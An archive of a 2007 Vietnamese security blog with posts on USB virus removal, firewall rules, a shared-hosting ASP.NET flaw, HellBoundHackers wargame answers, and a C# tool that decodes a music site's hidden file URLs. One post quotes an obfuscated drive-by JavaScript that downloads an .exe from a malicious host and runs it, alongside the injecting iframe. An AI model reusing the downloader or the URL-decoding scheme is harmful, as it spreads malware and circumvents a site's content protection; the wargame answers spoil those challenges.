Download nhạc từ các trang nhạc lớn của Việt Nam

26 Tháng Sáu 2007
@ 04:52
(Được đăng bởi: Phạm Đức Hải)

image

Omar pulled the trigger and we released DasBlog 1.9.7. Download it.

A few points to note about this release.

  • This is the final release on an ASP.NET 1.1 codebase. No bugs will be fixed unless this release kills a kitten.
    • NOTE: To be clear, even though this is compiled under ASP.NET 1.1, it runs GREAT under .NET 2.0 as is. Just follow the comments in the web.config to change a few settings.
  • The next release will literally be in a week or so, will will be called DasBlog 2.0 and will be compiled under .NET 2.0 and have changes to support Medium Trust environments.
    • This will allow folks downloading the source to compile DasBlog happily with VS 2005 or Orcas, or just MSBuild.
  • We'll announce a one year roadmap with our plan to move towards .NET 3.5 as well as a new release every 60 days.
  • We will very likely move to a location that is not SourceForge.
  • We'll have a visual refresh of the main project page as well as some consolidation, but for now:

UPDATE: Alexander Groß has the definitive guide on How To Secure Your dasBlog Installation.

In this release we've fixed some and added some:

  • Fixed a metric buttload of bugs
  • Taken in more patches from the public than any other release (Thanks public!)
  • Category and Home Page Paging Macros
  • LiveComment Preview (thanks SubText!)
  • Emailed Daily Activity Reports
  • Windows Live Writer Custom Integration
  • Support for Akismet Comment Spam Support
    • Go get a WordPress account, without a blog, and use the API key they'll send you.
  • Optionally show comments on the Permalink Page
  • Even more performance gains (4x+) in the Macro engine
  • New Internationalized Languages, including Swedish (Thanks Per Salmi!)
    • This brings our total supported language count up to 15! Although we can ALWAYS use more, and we really need double-checkers and updaters to put in localized strings for some of the new features!
  • Support for Blogging directly from Word 2007
  • Many fixes in our Blogger API and MetaWebLog API support
  • Better detection of referrals from Search Engines
  • CSS fixes and additions like highlighting of the Blog Author's comments
    • Make the comment email address match the email address in sitesecurity.config for this feature.
  • DHTML Timeline of Posts from the MIT Simile project
  • Support for SMTP Servers like Gmail for notifications
  • New themes
  • Support for THREE Rich Editors - FreeTextBox, FCKEditor and TinyMCE (in DasBlog Contrib, see the source)

Thanks to the DasBlog team and the active folks on the Developer List (in no particular order)....

Omar Shahine, Clemens Vasters, Tom Watts, Ken Hughes, Paul Van Brenk, John Forsythe, Nick Schweitzer, Kenneth Lefebvre, Ben Scheirman, Tim Sherrill, Alexander Gross, James Snape, Raymond Llewellyn, Tony Bunce, Josh Flanagan, Aaron Fischer, Anthony Bouch, Ayende Rahien, Ben Taylor, George V. Reilly, Greg Hughes, Mike Schinkel, Marc Mercuri, Rajiv Popat, Tim Sherrill

...and the many patch contributors!

When selecting a Blog based on ASP.NET, I encourage you to check out DasBlog but also these other .NET based blog engines:

Enjoy.

Ý kiến [0] - Chuyên mục: Blog


26 Tháng Sáu 2007
@ 11:29
(Được đăng bởi: Phạm Đức Hải)
Hiện nay virus USB lây lan quá nhiều, tôi xin chia sẻ với các bạn một chút kinh nghiệm đẻ có thể phòng tránh, diệt và khắc phục hậu quả do virus USB gây ra.
1. Nếu máy tính chưa bị nhiễm
Mỗi lần cắm USB vào máy tính sẽ hỏi mở USB bằng chương trình gì,... bạn đóng tất cả các của sổ đó lại. Có 2 cách để xem có vius trong USB hay không. Tuyệt đối không nháy double vào USB vì như vậy nếu có virus sẽ được kích hoạt.
Cách 1 : bạn dùng tính năng search của win tìm kiếm trong USB nhớ là tìm kiếm cả file ẩn. Nếu có virus lây qua USB bạn sẽ thấy file autorun.inf,  bạn cần xóa file này cùng các file .exe bạn nghi ngờ (có tên trùng tên thư mục,...). Khi mở USB bạn nên bấm chuột phải và chọn Explore thay vì Autorun và open.
Cách 2 : bạn dùng 1 chương trình File manager như total commander, Far Manager (Free), ... Tôi khoái dùng Far manager hơn.
Download Far Manager
Khi cắm USB vào bạn cũng ko chạy trực tiếp từ nó. Bạn mở Far Manager để xem trong USB có virus ko và xóa nó đi.
Bạn bấm ALT+F1 để chọn ổ đĩa.



Bạn sẽ thấy nội dung trong USB, ví dụ ở duới có file Autorun.inf


Bạn có thể xem nội dung file này bằng cách chọn nó và bấm F4, như vậy USB có virus thật nó gọi đến con virus theo đường dẫn bên dưới. Bạn cần xóa nó đi.


Sau khi xóa virus trong USB rồi bạn có thể mở nó thoải mái happy

2. Nếu máy tính đã bị nhiễm virus USB rồi.
Các bước diệt như sau.
- Tắt process của virus
- Diệt virus
- Khôi phục hiện trạng máy
Một số hậu quả mà virus này gây ra là :
- Ẩn task manager
- Khóa registry
- Ẩn Folder Options

Do đó cần dùng một số công cụ đơn giản như :
- Far Magager (Download Far Manager )
- Process Explorer
-
Autoruns

2 công cụ trên nằm trong bộ công cụ Sysinternals Utilities: Process

- Đầu tiên bạn cần bật Process Explorer để xem các process của máy nếu có virus bạn sẽ nhìn thấy nó, và bạn tắt process của virus đó đi.
(thường nó cảnh báo bằng màu đỏ, có cái nó sẽ ko cảnh báo gì nhưng bạn có thể nhận ra nó bằng kinh nghiệm của bạn happy )
- Sau khi tắc dc process của virus bạn cần xóa các bản virus trên máy, thường nó có tên trùng với tên các thư mục và có đuôi .exe
Bạn dùng tính năng search của máy search và xóa nó đi.
- Bạn cần chạy Autoruns để xem virus có đặt tính năng chạy lúc khởi động không ? và bạn xóa nó đi. Có một vấn đề là nếu nó Disable Regedit thì bạn sẽ không thay đổi được, bận cần bật lại regedit bằng cách :
- nếu bạn dùng Tweak UI bạn có thể vào đó bận lên
- Nếu không bạn làm như sau :
        * Click Start, Run và gõ gpedit.msc bấm ENTER
        * Bạn chọn như sau:

            User Configuration | Administrative Templates | System

        * Double-click Disable registry editing tools và đặt nó thành Not Configured
        * thoát khỏi Group Policy Editor
- Cách nữa bạn có thể dùng tools do 1 thành viên VHS viết
VHSregmanager.rar (182,37 KB)

Bạn có thể cần bật lại task manager :

Hive: HKEY_CURRENT_USER
Key: Software\Microsoft\Windows\CurrentVersion\Policies\System
Name: DisableTaskMgr
Type: REG_DWORD
Value: 1=Enablethis key, that is DISABLE TaskManager
Value: 0=Disablethis key, that is Don't Disable, Enable TaskManager

hoặc

  • Click Start
  • Click Run
  • Enter gpedit.msc in the Open box and click OK
  • In the Group Policy settings window
    • Select User Configuration
    • Select Administrative Templates
    • Select System
    • Select Ctrl+Alt+Delete options
    • Select Remove Task Manager
    • Double-click the Remove Task Manager option
Bật lại Folder Options :
User Key: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer]
System Key: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
Explorer]
Value Name: NoFolderOptions
Data Type: REG_DWORD (DWORD Value)
Value Data: (0 = show options, 1 = hide options)

Để khắc phục các thư mục virus ẩn đi (nó đặt thành file hệ thống và hidden bạn sẽ không nhìn thấy các thư mục này từ windows và bạn cũng không thể sửa lại bằng công cụ có sẵn của wins) bạn dùng Far manager để bật lại, ví dụ ở đây tôi cần làm hiện lại thư mục SWSetup mà virus đã ẩn đi.



Hy vọng bài viết nhỏ này sẽ giúp được gì đó cho bạn happy
Ý kiến [0] - Chuyên mục: Bảo mật | Virus


21 Tháng Sáu 2007
@ 03:55
(Được đăng bởi: Phạm Đức Hải)

Theo Zone-H thì trong tháng 5 Vn có 14 site bị tấn công (do các hacker nước ngoài); trong danh sách này tôi thấy đáng chú ý là 2 site vietpay.com24h.com.vn, 2 site này theo tôi được biết đã được cảnh báo lỗi trước đó khá lâu rồi.

Theo BKIS thì trong tháng 5 VN chỉ có 13 site bao gồm do cả hacker trong và ngoài nước tấn công. Không hiểu số liệu của BKIS như thế nào ?

Còn theo tôi thì số lượng site do các hacker VN tấn công thì BKIS khó có thể nắm bắt được hết. Mà thực tế thì nếu đã có ý định tấn công thật thì số lượng site là rất lớn có thể lên đến hàng ngàn, vì rất nhiều server VN có lỗi có thể tấn công, trên mỗi server này có hàng trăm thập trí hàng ngàn site. Rất nhiều trong số các server này hacker trong nước đã vào được nhưng gần như họ không deface.

Tham khảo :

http://www.zone-h.org/component/option,com_attacks/Itemid,43/filter,1/filter_domain,.vn/page,1
http://bkav.com.vn/tinh_hinh_an_ninh_mang/?thread=6&cid=993
Ý kiến [3] - Chuyên mục: Bảo mật | Hack


21 Tháng Sáu 2007
@ 10:16
(Được đăng bởi: Phạm Đức Hải)
Lỗi đối với upload file là khá phổ biến và khá nhiều, tôi cũng đã đề cập nhiều đến vấn đề này.
Các lỗi có thể có với upload file
Lỗi upload file qua các editor

Tôi xin giới thiệu thêm 1 tài liệu khá đầy đủ và chi tiết để có thể lập trình upload file một cách an toàn.
Secure file upload in PHP web applications

Ý kiến [0] - Chuyên mục: Bảo mật | PHP


20 Tháng Sáu 2007
@ 01:31
(Được đăng bởi: Phạm Đức Hải)
Ajax Tabs Content script

Đây là đoạn script rất hay nhưng khi dùng trên một số hệ thống máy chủ thì bị lỗi không chạy được với IE, Firefox thì ok.
Vấn đề là ở chỗ charset của dữ liệu lấy qua HttpRequest không phải là utf-8 nên khi IE nạp dữ liệu vào bị lỗi mặc dù dữ liệu vần chuyển về bình thường. (IE đúng là "thằng dở người")


Như ở trên bạn thấy dữ liểu trả về có charset = ISO-8859-1 hoặc WINDOWS-1252, do vậy mà sinh ra lỗi.

Cách khắc phục : đổi charset của web server về dạng utf-8.
Ví dụ server là apache thì cần thêm dòng sau vào file httpd.conf của apache:
#AddDefaultCharset  off
AddDefaultCharset utf-8
#AddDefaultCharset ISO-8859-1
#AddDefaultCharset WINDOWNS-1252

2 cái dòng kia thì comment lại. Sau đó graceful hoặc restart lại apache là ok.

Ý kiến [0] - Chuyên mục: Ajax | PHP


19 Tháng Sáu 2007
@ 03:29
(Được đăng bởi: Phạm Đức Hải)
Cập nhật 27/07/2007 : lấy link download theoyeucau.com tại :
http://www.guru.net.vn/media.aspx


theoyeucau.com là một trang nghe nhạc, có các file nhạc đã được che dấu.
Mục tiêu : tìm ra địa chỉ thực của file nhạc
Bài viết hướng dẫn trên cơ sở để lập trình auto lấy link.
Ví dụ bài :
http://www.theoyeucau.com/Home/Onair/Cam_Xuc_Cuoc_Song/2007/04/29/Su_Co_Don/01/Daniel_Powter_Bad_Day/

Khi vào trang đó để nghe 1 bài hát bạn sẽ thấy 1 cái flash player bạn download nó về.
http://www.theoyeucau.com/HTML/data/flash/Player.swf
Bạn dùng 1 phần mềm decompliler cái này. Vì bản chất flash chạy action script giống java script nên các hàm của nó chạy ở phía client.

File dữ liệu trả về cho player :
http://www.theoyeucau.com/Home/Onair/Cam_Xuc_Cuoc_Song/2007/04/29/Su_Co_Don/01/Daniel_Powter_Bad_Day/XML/?refer=/Home/Onair/Cam_Xuc_Cuoc_Song/2007/04/29/Su_Co_Don/01/Daniel_Powter_Bad_Day/XML/

Các thông tin cần chú ý :
<host>
http://music.theoyeucau.com/Music/Programs/CamXucCuocSong/2007/2007-04-29
</host>
<ext>718871923175</ext>

    <song>
<id>948</id>
<title>Daniel Powter - Bad Day</title>

    <file>
6072507220798072407140806071107950762076311840727118309161202133812891248131611861032134814241392124413781187089412081237118909141208144
</file>
Url File đã bị mã hóa.
Sau khi decompliler bạn tìm thấy các dòng sau là đáng chú ý :

_l3 = _root.host + "/" + e(_l5, _l3) + "." + _root.ext + "?refer=" + _l3;

_13 chính là URL mà player lấy để chạy.

if (xml.lastChild.childNodes[list[index]].childNodes[i].nodeName == "file")
{
_l3 = xml.lastChild.childNodes[list[index]].childNodes[i].firstChild.nodeValue;
} // end if
if (xml.lastChild.childNodes[list[index]].childNodes[i].nodeName == "title")
{
_l5 = xml.lastChild.childNodes[list[index]].childNodes[i].firstChild.nodeValue;
} // end if



Cần xác định e(_l5, _l3),_root.ext

Hàm e :

function e(title, file)
{
var _l4 = "";
var _l1 = "";
var _l2 = 0;
for (i = 0; i < Math.ceil(file.length / 4); i++)
{
_l1 = file.substr(i * 4, 4);
_l1 = _l1.substr(1, 3);
if (_l1.substr(0, 1) == "0")
{
_l1 = _l1.substr(1, 2);
} // end if
_l2 = parseInt(_l1) - title.length;
_l4 = _l4 + chr(_l2);
} // end of for
return(_l4);
} // End of the function


công thức tính _root.ext = e(host, ext);
Tôi dùng C# để viết, cần chuyển hàm e sang C# và viết thêm 1 chút.

public string XmlReaderTheoyeucau(string Xml_url)
        {
            string host="";
            string ext="";
            int id =0;
            string title ="";
            string file ="";
            string artist ="";
            string name ="";
            string content ="";
            string url="";
            url="";
            try
            {
                WebRequest myRequest = WebRequest.Create(Xml_url);
                WebResponse myResponse = myRequest.GetResponse();    
                //Stream rssStream = myResponse.GetResponseStream();
                StreamReader streamReader =new StreamReader(myResponse.GetResponseStream(),Encoding.UTF8);
                string temp =streamReader.ReadToEnd();
                temp = temp.Replace("&"," ");
                XmlDocument rssDoc = new XmlDocument();
                //rssDoc.Load(rssStream);
                rssDoc.LoadXml(temp);
                XmlNodeList rssItems = rssDoc.SelectNodes("doc/song");
                XmlNode node=null;
                node =rssDoc.SelectSingleNode("doc/host");
                host =node.InnerText;
                host = host.Replace("\r\n","");
                node =rssDoc.SelectSingleNode("doc/ext");
                ext =node.InnerText;
                for (int i = 0; i < rssItems.Count; i++)
                {
                    XmlNode rssDetail;
                    rssDetail = rssItems.Item(i).SelectSingleNode("id");
                    if (rssDetail != null)
                    {
                        id = Convert.ToInt32(rssDetail.InnerText.Replace("\r\n",""));
                    }
                    else
                    {
                        id=0;
                    }
                    rssDetail = rssItems.Item(i).SelectSingleNode("title");
                    if (rssDetail != null)
                    {
                        title = rssDetail.InnerText.Replace("\r\n","");
                    }
                    else
                    {
                        title = "";
                    }
                    rssDetail = rssItems.Item(i).SelectSingleNode("file");
                    if (rssDetail != null)
                    {
                        file = rssDetail.InnerText.Replace("\r\n","");
                    }
                    else
                    {
                        file = "";
                    }
                    rssDetail = rssItems.Item(i).SelectSingleNode("artist");
                    if (rssDetail != null)
                    {
                        artist = rssDetail.InnerText.Replace("\r\n","");
                    }
                    else
                    {
                        artist = "";
                    }
                    rssDetail = rssItems.Item(i).SelectSingleNode("name");
                    if (rssDetail != null)
                    {
                        name = rssDetail.InnerText.Replace("\r\n","");
                    }
                    else
                    {
                        name = "";
                    }
                    rssDetail = rssItems.Item(i).SelectSingleNode("content");
                    if (rssDetail != null)
                    {
                        content = rssDetail.InnerText;
                    }
                    else
                    {
                        content = "";
                    }
                }
                url = host + "/" + EncryptThepyeucau(title, file) + "." + EncryptThepyeucau(host,ext) + "?refer=" + file;
            }
            catch (Exception ex)
            {
                url = ex.Message;                
            }        
            return url;

        }
        public string EncryptThepyeucau(string title,string file)
        {
            string _l4 = "";
            string _l1 = "";
            int _l2 = 0;
            for (int i = 0; i < Math.Ceiling(file.Length / 4); i++)
            {
                _l1 = file.Substring(i * 4, 4);
                _l1 = _l1.Substring(1, 3);
                if (_l1.Substring(0, 1) == "0")
                {
                    _l1 = _l1.Substring(1, 2);
                } // end if
                _l2 = Convert.ToInt32(_l1) - title.Length;
                _l4 = _l4 + Convert.ToChar(_l2);
            } // end of for
            return(_l4);
        }


Kết quả cuối cùng :
Url file nhạc :
http://music.theoyeucau.com/Music/Programs/CamXucCuocSong/2007/2007-04-29/1181090855_1_Daniel_Powter_Bad_Day.swf?refer=6072507220798072407140806071107950762076311840727118309161202133812891248131611861032134814241392124413781187089412081237118909141208144
Bạn download về và đổi thành .mp3 là nghe tốt.
Hôm nào sẽ viết tiếp thành auto tool happy

Ý kiến [0] - Chuyên mục: .NET | Bảo mật | Hack


19 Tháng Sáu 2007
@ 03:27
(Được đăng bởi: Phạm Đức Hải)
lv4:
view source --> form submited : http_docs/mail.html
view-source:http://www.hellboundhackers.org/challenges/real4/http_docs/mail.html
<form name="theForm" action="../main/mail.php" METHOD="POST">
<input type="hidden" name="required" value="'recipient,credit">

http://www.hellboundhackers.org/challenges/real4/main/
login page :
http://www.hellboundhackers.org/challenges/real4/main/Tlogin/index.php

lv10:
Description: Crack this hash: hbh:spnlhmTpnxYQ.
D:\kikicoco\Hacks\Tools\dicts\john>john -wbig grin:\kikicoco\Hacks\Tools\dicts\Wordlis
t.txt hbh.txt
Loaded 1 password hash (Traditional DES [24/32 4K])
website          (hbh)
guesses: 1  time: 0:00:00:19 100%  c/s: 166690  trying: website - wechsler

real 14:
Aldarhawks Flog
1. Donload Flog
2. Install
3. Check out directory
http://www.hellboundhackers.org/challenges/real14/data/users.0.dat
username    Administrator
password    d6a6bc0db10694a2d90e3a69648f3a03
rank    1
name    Aldar Hawk
email    ddowling2690@aol.com
url    http://myamazing-anti-hbh-flog/flog/
administrator.write.posts.markup    markdown_smartypants
administrator.write.posts.allowcomments    1
administrator.write.pages.markup    markdown_smartypants

Using cain to crack
Password :hacker

Ý kiến [0] - Chuyên mục: Giải trí | Hack | war game


Đây là bài viết khá cơ bản và đầy đủ cho các ứng dụng web php (apache).
Bạn nên đọc để biết các lỗi có thể bị khai thác, cách khai thác và từ đó đưa ra cách giải quyết cho mình.
Weaknesses in Web-Applications v1.7
tác giả theblacksheep

Nội dung: (chi tiết bạn download file trên về đọc)
#- Introduction
#- General - Collecting Information
 - Google
#- Viewing the Source of a Web Page
#- Editing of Source Code
#- JavaScript Inline Debugger
#- Directory Listing/Index Browsing
#- robots.txt
#- Reverse Directory Transversal
#- Information Storage In Files
#- Header Based Exploitation
 #- X-Forwarded-For: IP-Spoofing
#- Mime Type Spoofing
#- CRLF-Injection
#- Global Variables
#- Remote Files
#- Library Files
#- Session Files
#- NULL Byte
#- SQL-Injection
#- Cross Site Scripting
#- Cross-Site Request Forgeries (CSRF)
#- Session Fixation
#- Loose Typing And Associative Arrays
#- Interesting PHP Functions
 - ereg()
 - file()
 - file_get_contents()
 - fopen()
 - include()
 - include_once()
 - is_dir()
 - is_file()
 - phpinfo()
 - readfile()
 - require()
 - require_once()
 - touch()
 - unlink()
#- PHP vulnerabilities
 - copy (4.4.2, 5.1.2 and prior - Safe Mode Bypass)
 - error_log (4.4.2 and prior, 5.1.4 and prior - Safe Mode Bypass)
 - phpinfo (4.4.2, 5.1.2 and prior - Cross Site Scripting)
           (4.4.0 and prior - Cross Site Scripting)
           (4.4.0, 5.0.5 and prior - Cross Site Scripting)
#- Apache - Unknown Mime Type Trouble
#- Interesting Files
#- Useful Commands
#- HTTP Error Codes
#- Execution Of Shell Commands
#- Protecting PHP
#- Web bugs
#- Faking Cookies
#- Getting the source code of ".swf" Flash files
#- Getting the source code of ".class"/".jar" Java applet files
#- Passwords (guessing, brute force, dictionary attack)
#- Tools
 - CGIProxy
 - Proxomitron

#- Buffer Overflow
#- Format String
#- Heap Overflow
#- Integer Overflow

#- Other interesting tutorials you should read
#- Thx!
#- History

Ý kiến [0] - Chuyên mục: Bảo mật | Hack


19 Tháng Sáu 2007
@ 03:06
(Được đăng bởi: Phạm Đức Hải)
lv1:
johndoe/password
http://www.hellboundhackers.org/challenges/real1/images/administrator.txt
administrator
password = password:60c033095644bd16
status:administrator
AuthID: 4601420

JohnDoe
password = password:5d2e19393cc5ef67
Network analysis
sessionid: 4601597

--> Using Js Inject
javascript:document.cookie="AuthID=4601420";-->Refesh-->ok

lv 2:
using scan tools (self coding)
http://www.hellboundhackers.org/challenges/real2/backups/backup_2004-09-04_1900.sql

 Backups For HellBound  |                               |
------------------------      
                          |
HellBound Backup File                                   |
==========================================              |
'HellBound_Users'                                       |
admin: '9acb44549b41563697bb490144ec6258'               |
==========================================              |
End Of Backup File                                      |
------------------------                                |
No More Backups         |                               |
--------------------------------------------------------
9acb44549b41563697bb490144ec6258 --> MD5 hash
using Cain and Abel
Plaintext of 9acb44549b41563697bb490144ec6258 is status
Attack stopped!
1 of 1 hashes cracked

Ý kiến [0] - Chuyên mục: Giải trí | Hack | war game


19 Tháng Sáu 2007
@ 03:04
(Được đăng bởi: Phạm Đức Hải)
Application :

app1:
OllyDbg
0012F3E8   00403F22  RETURN to app1.00403F22 from MSVBVM60.__vbaStrCmp
0012F3EC   0040380C  UNICODE "g7*2+'&1,3"
0012F3F0   0015578C  UNICODE "1234567"
-->g7*2+'&1,3 -->frozenIce

app2 : ASCDEMO
pass word is suffix

app3:
Replace : ihavnolife -->icrackedit
PASS : 88PARROT24

app4:OllyDbg
0012F3E8   0040BCE2  RETURN to password.0040BCE2 from MSVBVM60.__vbaStrCmp
0012F3EC   00407514  UNICODE "livebox"
0012F3F0   001556BC  UNICODE "1234567"
livebox --> Atmosphere

Ý kiến [5] - Chuyên mục: Giải trí | Hack | war game


19 Tháng Sáu 2007
@ 03:02
(Được đăng bởi: Phạm Đức Hải)
All hellboundhackers JavaScript challenges solution

lv1:
<!--
function pasuser(form) {
  if (form.id.value=="partyhard2") {
    if (form.pass.value=="lifeisshort1") {
      location="index.php?user=partyhard2&pass=lifeissho
rt1"
    }
    else {
      alert("Invalid Password")
    }
  }
  else {
    alert("Invalid UserID")
  }
}
//-->

lv2:

http://www.hellboundhackers.org/challenges/js/js2/level2script.js
<!--
var password, i;

password=prompt("Please enter password!","");
if (password=="level2done") {
  location="huh.php"
  i=4;
}
else {
alert("Wrong password, you'll go back to the index")
  location="index.php"
}

//-->

Ý kiến [0] - Chuyên mục: Giải trí | Hack | war game


19 Tháng Sáu 2007
@ 03:00
(Được đăng bởi: Phạm Đức Hải)
lv17:
basic17.class
http://hellboundhackers.org/challenges/basic17/basic17.class
// Decompiled by DJ v3.9.9.91 Copyright 2005 Atanas Neshkov  Date: 3/13/2007 2:25:00 PM
// Home Page : http://members.fortunecity.com/neshkov/dj.html  - Check often for new version!
// Decompiler options: packimports(3)
// Source File Name:   basic17.java

import java.applet.Applet;
import java.applet.AppletContext;
import java.awt.Color;
import java.awt.TextField;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.net.MalformedURLException;
import java.net.URL;

public class basic17 extends Applet
    implements ActionListener
{

    public void init()
    {
        setBackground(Color.WHITE);
    }

    public basic17()
    {
        file4 = "baysick-seventeen.complete.php?pass=";
        inputLine = new TextField(15);
        file2 = "test";
        add(inputLine);
        inputLine.addActionListener(this);
        file2 = "challenges";
    }

    public void actionPerformed(ActionEvent actionevent)
    {
        String s = inputLine.getText();
        if(s.equals("ifYOU'REhereYOU'REelite"))
        {
            URL url = null;
            String s1 = "http://www.hellboundhackers.org/";
            String s2 = "basic17";
            try
            {
                url = new URL(getDocumentBase(), s1 + "/" + file2 + "/" + s2 + "/" + file4 + new String("elite"));
            }
            catch(MalformedURLException malformedurlexception) { }
            getAppletContext().showDocument
(url);
        } else
        {
            inputLine.setText("not yet");
        }
    }

    String file4;
    TextField inputLine;
    String file2;
}

--> Pass:ifYOU'REhereYOU'REelite

Lv18:

lv19:
View header:
Encryption: ROT-47
Password: #@Ecfu@C%96(:?P
http://just-stuart.com/cgi-bin/ur13?proc
Pass:Rot47ForTheWin!

Ý kiến [0] - Chuyên mục: Giải trí | Hack | war game


Hôm nay, tôi lại nhận được một link trên một server có lỗi Full Trust Asp.Net Security Vulnerabilties số lượng site trên server này khá lớn và có nhiều site khá tiếng tăm happy . Số các server Windows ở Việt Nam bị lỗi này không phải là nhỏ. Có một vài lần các anh em ở VHS đã test và thông báo vài server cho chủ server. Đối với server dùng Helm Controller nếu cài thông thường thì chắc chắn là dính lỗi này.

Tôi mô tả lỗi này như sau :
toàn bộ các site trên cùng server chạy chung application pool và chung account chạy ASP.NET. Đối với HELM thì chỉ có account chạy riêng cho asp, php cho mỗi site, còn account chạy ASP.NET đều chạy chung account ASP.NET. Nên nếu không cấu hình tốt cho account này thì web chạy bằng account này có thể truy cập toàn bộ các thư mục trên máy chủ mà acc này có quyền (tất cả các website + các thư mục có quyền cho everyone). Tóm lại là khi bị lỗi này thì chỉ cần vào được 1 site thì attacker có thể vào toàn bộ các site khác trên toàn máy chủ. (windows local hack)
Các server riêng Wiondows nếu cài thông thường chỉ dừng ở mức chạy được thì chắc chắn cũng dính lỗi.

Cách khắc phục :
- Tốt nhất là chạy thành nhiều application pool, mỗi 1 site chạy bằng 1 acc asp.net riêng
- Cấu hình tốt cho WMI, WSH, regedit,... (đọc tài liệu để tìm hiểu)

Công cụ test lỗi này: K-Shell 1.0 by kikicoco
http://duchaikhtn.googlepages.com
http://duchaikhtn.googlepages.com/kshell_1.0.zip

Tham khảo thêm : Công cụ kiểm tra lỗi bảo mật cho .NET windows

Hy vọng với bài viết này tình hình các server Windows sẽ cải thiện được tình hình và sớm fix lỗi.

Ý kiến [0] - Chuyên mục: .NET | Bảo mật | Hack | Windows


15 Tháng Sáu 2007
@ 02:09
(Được đăng bởi: Phạm Đức Hải)
Hôm nay vô tình gặp chị HYXĐ và có đề cập đến vấn đề này nên tôi nêu lại để các bạn biết.
Mấy tháng trước tôi đã gặp vài site bị hacker kiểm soát, những site này hacker chỉ thay đổi hoặc thêm vào đòng kiểu như sau :
<iframe src=http://www.sccdtp.com/Vietnam2.htm width=0 height=0></iframe>  (đừng mở link này có virus đấy happy )
Hoặc là một thẻ meta cho phép redỉect đến một site khác. Các site link vào tất cả đều là link virus. Tại thời điểm đó còn rất nhiều trình duyệt bị lỗi và chưa kịp update, ngay cả Firefox cũng dính. Khi người dùng internet vào các trang web đã bị thêm dòng như trên thì nó sẽ tự động download virus về máy mà không hề hay biết hoặc nó sẽ hiện ra 1 cái của sổ và bạn cứ thế bấm vào nút đồng ý. Vậy là máy tính bị dính virus.
Ví dụ cái link trên có đoạn code download con virus :

function Go(a) {
    var s = myCreateOB(a, "WS"+"cr"+"ipt.S"+"he"+"ll");
    var o = myCreateOB(a, "AD"+"OD"+"B.St"+"ream");
    var e = s.Environment("Process");    
    
    var xml = null;
var url = 'http://www.sccdtp.com/Vietnam2.exe';
    var bin = e.Item("TEMP") + "svchosts.exe";
    var dat;
    
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject("Mic"+"ros"+"of"+"t.XM"+"LHTTP"); }
        catch(e) {
            xml = new ActiveXObject("MSX"+"ML2.Ser"+"verXM"+"LHT"+"TP");
        }
    }
    
    if (! xml) return(0);

    xml.open("GET", url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
        
    s.Run(bin,0);
}

Con virus có link url = 'http://www.sccdtp.com/Vietnam2.exe'; sẽ được lưu xuống máy nạn nhân với tên svchosts.exe

Các con virus này thậm trí có khả năng lây qua USB, nên nó nhân bản ra khá nhanh. Hiện tại tôi cũng chưa thử kiểm tra xem các con virus này có tạo ra một mạng botnet hay không ?
Nếu mà thực sự hacker lợi dụng điểm này để tạo ra một mạng botnet thì cựu kỳ nguy hiểm. Vì gần như bất kỳ USB nào cắm vào máy tôi đều có virus, một tuần ít nhất là vài lần tôi phải diệt virus giúp bạn bè, người thân, điều đó chứng tỏ số lượng máy tính bị nhiễm các virus này rất lớn.
Người dùng internet nên cẩn thận hơn với những trang mình vào và cũng nên cài các phần mềm diệt virus và tưởng lửa cho máy tính của mình.
Tôi chỉ dùng : ZoneAlarm và SAV, không biết các bạn dùng phần mềm nào ?

Ý kiến [0] - Chuyên mục: Bảo mật | Hack | Virus


15 Tháng Sáu 2007
@ 09:14
(Được đăng bởi: Phạm Đức Hải)
Với một máy chủ việc cầu hình firewall là vô cùng quan trọng. Tôi nhớ hồi năm ngoái, server của nhóm hacker HCE đã bị tấn công qua cổng SSH, do cổng này mở tự do IP, lỗi đó là lỗi của SSH v1. Khiến HCE mất toàn bộ dữ liệu và HCE dặt dẹo từ đó đến nay.
Tôi xin giới thiệu về cách config firewall với OS Sun Solais và các OS dòng Linux.
Nguyên tắc :
- Chỉ mở những cổng cần mở cho những IP cần dùng, không mở tất cả.
Các cổng này tùy thuộc dịch vụ máy chủ bạn cung cấp, sau đây là một số cổng thông dụng:
  • Cổng SSH (22) : chỉ mở cho IP của quản trị
  • Cổng FTP (20,21 + các passive port nếu có), MySql (3306), SMTP (25) : mở cho các IP khách hàng, thường là mở gần hết, cấm các IP mà biết chắc sẽ không dùng tới hoặc các IP trong blacklist của bạn happy
  • Cổng Web Server (80 + 443 nếu dùng ssl), DNS lookup (53) : mở cho tất cả
  • Cổng MSSQL (1433) : chỉ mở cho đường đi ra đến máy cần kết nối đến (thường ít dùng)
Với Solaris:
- File cần config là (mặc định):  /etc/inet/ipsecinit.conf
Sau khi config xong đánh lệnh:
ipsecconf -f     --> bở cấu hình cũ
ipsecconf -a /etc/inet/ipsecinit.conf      --> tạo lại cấu hình theo config mới

Cú pháp trong file ipsecinit.conf :
{saddr <IP> dport <port> ulp tcp daddr <IP> dir out}bypass{}
{saddr <IP> sport <port> ulp tcp daddr <IP> dir in}bypass{}

Ví dụ với MySql, cho phép nối tới cổng 3306 từ dải IP:
{saddr 222.252.101.111 smask 255.255.255.0 daddr <IPServer> dport 3306 ulp tcp dir in}bypass{}
{daddr 222.252.101.111 smask 255.255.255.0 saddr <IPServer> sport 3306 ulp tcp dir out}bypass{}
Với dòng Linux :
- File config : /etc/sysconfig/iptables
Sau khi config xong đánh lệnh :
iptables -flush hoặc iptables -F
service iptables restart
Cú pháp trong file iptables:
ví dụ với port 22
-A INPUT -p tcp -s <IPClient> -d <IPServer> --dport 22 -j ACCEPT
-A OUTPUT -p tcp -s <IPServer> --sport 22 -d <IPClient> -j ACCEPT

Cho phép ping :
#ICMP
-A INPUT -p icmp -d <IPServer> -j ACCEPT
-A OUTPUT -p icmp -s <IPServer> -j ACCEPT

Tôi đã gặp khá nhiều server, thường thì các server riêng (do tự làm) không mấy khi cấu hình tốt cái này. Hy vọng với bài viết này bạn có thể cấu hình tốt cho server của mình,có thể bạn sẽ cần tra thêm về cú pháp của nó, chỉ cần làm tốt firewall này cũng đã có thể làm hạn chế rất nhiều tấn công vào máy chủ.

Ý kiến [0] - Chuyên mục: Bảo mật | Linux


14 Tháng Sáu 2007
@ 06:30
(Được đăng bởi: Phạm Đức Hải)
